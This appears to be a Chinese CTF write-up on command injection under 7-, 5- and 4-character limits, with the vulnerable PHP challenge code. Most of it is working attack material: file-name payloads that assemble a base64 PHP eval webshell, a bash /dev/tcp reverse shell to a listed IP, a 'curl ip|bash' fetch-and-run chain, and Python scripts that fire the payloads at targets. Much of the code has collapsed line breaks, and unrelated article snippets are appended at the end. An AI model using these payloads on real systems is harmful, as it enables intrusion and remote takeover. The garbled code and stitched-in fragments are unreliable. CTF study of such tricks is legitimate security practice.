七字符rce

源码

<?php
highlight_file(__FILE__);
if(strlen($_GET[1]<7)){echo strlen($_GET[1]);echo '<hr/>';echo shell_exec($_GET[1]);
}else{exit('too long');
}
?>
#写入语句
<?php eval($_GET[1]);
#base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7
#需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

payload:

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

脚本代码:

#!/usr/bin/python
# -*- coding: UTF-8 -*-import requestsurl = "http://192.168.61.157/rce.php?1={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:for i in f:print("[*]" + url.format(i.strip()))requests.get(url.format(i.strip()))#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:print("[*]Attack success!!!")

https://blog.csdn.net/nzjdsds/article/details/102873187

五字符rce-BabyFirst Revenge

<?php$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);@mkdir($sandbox);@chdir($sandbox);if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {@exec($_GET['cmd']);} else if (isset($_GET['reset'])) {@exec('/bin/rm -rf ' . $sandbox);}highlight_file(__FILE__);
?>

思路1:拼接字符串写入一句话

payload

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0【前面可以拆成更小的,ls -t>0需要单独拆分出来】
sh 0

ls -t >0 拆分方法(因为环境问题无法复现):

思路2:另一种差不多反弹shell的方法:

既然可以执行命令,那么我们首先想到的是反弹一个shell回来

bash反弹shell的命令如下:

bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1

空格需要转义

>\ \\

构造空格就用去了五个字符,我们的语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上,然后通过如下方式来执行:

curl ip地址|bash

我们先在自己的vps新建一个文件,内容为

bash -i >& /dev/tcp/120.79.33.253/7777 0>&1

然后在vps上面监听7777端口

nc -lv 7777

因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件

ls命令排序的规则是空格和符号最前,数字其次,字母最后

>ls\\
ls>_
>\ \\
>-t\\
>\>y
ls>>_

那么我们再构造curl 120.79.33.253|bash

>bash
>\|\\
>53\\
>2\\
>3.\\
>3\\
>9.\\
>7\\
>0.\\
>12\\
>\ \\
>rl\\
>cu\\

然后运行

sh _

生成文件y
再执行

sh y

py脚本

#encoding:utf-8
import requests
baseurl = "http://120.79.33.253:9003/?cmd="
reset = "http://120.79.33.253:9003/?reset"
s = requests.session()
s.get(reset)
# 将ls -t 写入文件_
list=[">ls\\","ls>_",">\ \\",">-t\\",">\>y","ls>>_"
]
# curl 120.79.33.253|bash
list2=[">bash",">\|\\",">53\\",">2\\",">3.\\",">3\\",">9.\\",">7\\",">0.\\",">12\\",">\ \\",">rl\\",">cu\\"
]
for i in list:url = baseurl+str(i)s.get(url)
for j in list2:url = baseurl+str(j)s.get(url)
s.get(baseurl+"sh _")
s.get(baseurl+"sh y")
#s.get(reset)

成功拿到shell

思路3:

payload:

<?php eval($_GET[1]);

>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f

脚本:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://192.168.61.157/?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:for i in f:print("[*]" + url.format(i.strip()))requests.get(url.format(i.strip()))
#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:print("[*]Attack success!!!")

https://blog.csdn.net/nzjdsds/article/details/102873203?depth_1-

https://www.secpulse.com/archives/120302.html

https://note.youdao.com/ynoteshare1/index.html?id=129e39825e7bb3b222e613e33685b764&type=note

四字符rce

字符拼接写马

*因为环境有点问题无法复现,无法整体复现

*但是这个trick非常有意思,想分享下

题目源码

<?phperror_reporting(E_ALL);$sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);mkdir($sandbox);chdir($sandbox);if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {exec($_GET['cmd']);} else if (isset($_GET['reset'])) {exec('/bin/rm -rf ' . $sandbox);}highlight_file(__FILE__);

预备知识:
1.输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

>id
>root
*           (等同于命令:id root)

2.增加字母来限定被用来当作命令和参数的文件名

>ls
>lss
>lsss
>1
*s       (等同于命令: ls lss lsss)

3联合知识点2,通过rev来倒置输出内容

>rev
echo 1234 > v
*v    (等同于命令:rev v)

4通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置
我们之后需要用到rev 倒置输出

所以需要列出这样形式的文件名

0>  t-  sl
>0\>
>t-
>sl

但是实际出现的效果是这样的

所以要增加-h来把-t往前拉

>0\>
>ht-
>sl

5用dir来代替ls不换行输出

先看下ls的效果,写到a时每个文件名都是单独一行,这样会影响知识点①的命令执行

看下dir的效果,会不换行输出到文件中去

最后的payload

>dir
>f\>
>ht-
>sl
*>v        (等同于命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0        (等同于命令:rev v > 0)(0里面的内容位:ls -th >f)
sh 0        (sh执行0里面的内容)

可以看到命令被成功执行生成了f文件

反弹shell型

payload

#-*-coding:utf8-*-
import  requests as r
from  time  import  sleep
import  random
import  hashlib
target  =  'http://52.197.41.31/'# 存放待下载文件的公网主机的IP
shell_ip  =  'xx.xx.xx.xx'# 本机IP
your_ip  =  r.get( 'http://ipv4.icanhazip.com/' ).text.strip()# 将shell_IP转换成十六进制
ip  =  '0x'  +  ''.join([ str ( hex ( int (i))[ 2 :].zfill( 2 ))for  i  in  shell_ip.split( '.' )])reset  =  target  +  '?reset'
cmd  =  target  +  '?cmd='
sandbox  =  target  +  'sandbox/'  +  \hashlib.md5( 'orange'  +  your_ip).hexdigest()  +  '/'# payload某些位置的可选字符
pos0  =  random.choice( 'efgh' )
pos1  =  random.choice( 'hkpq' )
pos2  =  'g'   # 随意选择字符payload  =  ['>dir' ,# 创建名为 dir 的文件'>%s\>'  %  pos0,# 假设pos0选择 f , 创建名为 f> 的文件'>%st-'  %  pos1,# 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,# 因为alphabetical序中t>s'>sl' ,# 创建名为 >sl 的文件;到此处有四个文件,# ls 的结果会是:dir f> kt- sl'*>v' ,# 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,#  前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl# 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符'>rev' ,# 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v'*v>%s'  %  pos2,# 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。# 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f# 续行分割 curl 0x11223344|php 并逆序写入'>p' ,'>ph\\' ,'>\|\\' ,'>%s\\'  %  ip[ 8 : 10 ],'>%s\\'  %  ip[ 6 : 8 ],'>%s\\'  %  ip[ 4 : 6 ],'>%s\\'  %  ip[ 2 : 4 ],'>%s\\'  %  ip[ 0 : 2 ],'>\ \\' ,'>rl\\' ,'>cu\\' ,'sh '  +  pos2,# sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,# 虽然 f 的文件头部会有杂质,但不影响有效命令的执行'sh '  +  pos0,# sh f 执行curl命令,下载文件,写入木马。
]s  =  r.get(reset)
for  i  in  payload:assert  len (i) < =  4s  =  r.get(cmd  +  i)print  '[%d]'  %  s.status_code, s.urlsleep( 0.1 )
s  =  r.get(sandbox  +  'fun.php?cmd=uname -a' )
print  '[%d]'  %  s.status_code, s.url
print  s.text

https://www.anquanke.com/post/id/87203

CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总相关推荐

  1. linux中安shell怎么传入参数,【linux】linux 下 shell命令 执行结果赋值给变量【两种方式】...

    方法1:[通用方法] 使用Tab键上面的反引号 例子如下: find命令 模糊查询在/apps/swapping目录下 查找 文件名中包含swapping并且以.jar结尾的文件 使用反引号 引住命令 ...

  2. linux命令执行的通过程,Linux下shell命令执行过程简介

    浅析linux 下shell命令执行和守护进程 执行shell脚本有以下几种方式 1.相对路径方式,需先cd到脚本路径下 [root@banking tmp]# cd /tmp [root@banki ...

  3. ctf xor题_CTF下的命令执行

    前言: 做web题也经常遇到很多关于命令执行的一些姿势,这次就总结下来. 0x00:一些绕过姿势 在遇到的一些web题中,会经常将以下几种给过滤或者进行限制: 空格 命令分隔符 关键字 限制长度 限制 ...

  4. html输入字符长度佛下一句,js如何判断输入字符串长度

    js判断输入字符串长度(汉字算两个字符,字母数字算一个) 文本输入时,由于数据库表字段长度限制会导致提交失败,因此想到了此方法验证. 废话不多说上代码: js判断输入字符串长度(汉字算两个字符,字母数 ...

  5. linux中top指令,Linux下top命令详解

    原标题:Linux下top命令详解 1.简介 top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况,类似于Windows的任务管理器.top显示系统当前的进程和其他状况 ...

  6. anaconda下终止命令执行的快捷键

    在命令执行过程中,使用键盘ctrl + C 快捷键,即可终止命令的运行.出现keyboradInterrupt错误提醒,从键盘终止命令执行.

  7. shell脚本中判断上一条python命令执行情况

    shell脚本中判断python命令执行结果 python脚本main.py import sys def main():try:"执行相关操作"sys.exit(0)except ...

  8. curl   liinux下http命令执行工具

    安装cURL wget http://curl.haxx.se/download/curl-7.17.1.tar.gz tar -zxf curl-7.17.1.tar.gz ./configure ...

  9. 和信创天云桌面系统远程命令执行 RCE漏洞复现渗透测试

    前言 和信创天云桌面系统,官方介绍,市场上主要有华为.深信服.锐捷.和信创天四大云桌面厂商,华为从网络设备的角度打造整体解决方案,深信服从安全的角度切入云桌面,锐捷主打针对教育行业的云课堂业务,但前三 ...

最新文章

  1. C++继承中构造函数、析构函数调用顺序及虚析构函数
  2. Kubernetes 整体架构图
  3. windows防火墙支持FTP服务的设置方法
  4. 架构师课程1-多线程基础
  5. web app指南之构建html5离线应用
  6. Setting property 'source' to 'org.eclipse.jst.jee.server:hczm' did not find a matching property
  7. 关于WM_NCHITTEST消息
  8. android复习第二天------布局
  9. 2.18 logistic 损失函数的解释
  10. 实验3.2 定义一个简单的Computer类
  11. 特斯拉电动卡车霸气发布,还有一个意外惊喜(全新跑车)
  12. 算法笔记_面试题_18.动态规划_模板及示例十几道(下)
  13. pythotn基础篇——条件分支与循环--2
  14. exception内置对象
  15. 软件工程(吕云翔第二版)部分简答题答案
  16. 26.【案例:敏感词汇过滤】
  17. 随机过程之平稳过程与各态历经过程
  18. Stacking:集成学习策略图解
  19. 7-33 电话聊天狂人 (25 分)(map水题)
  20. 时间紧、任务重、资源有限,项目经理如何来保证研发效率?

热门文章

  1. OS学习笔记-1(清华大学慕课)操作系统概述
  2. 记:一次意外JTAG使用引发对于STM32内核的了解
  3. GPS脚环计步、AI“鸡”脸识别,如何确保自己吃到了一只幸福健康的鸡
  4. 纪中暑假培训 :Date:7 终章-剑之魂
  5. 网站漏洞检测之常见安全问题
  6. python输入一个正整数、计算其各个位的数字之和_C语言程序设计:编写程序,输入一个正整数,统计该整数的位数并计算其各个数位上的数字之和。...
  7. 点集凸包算法python实现(二)
  8. 使用html 语言建立一个简单的网页,如何用记事本建立简单的网页(1).doc
  9. css学习06:id选择器
  10. AI人工智能算法解析落地实践专栏列表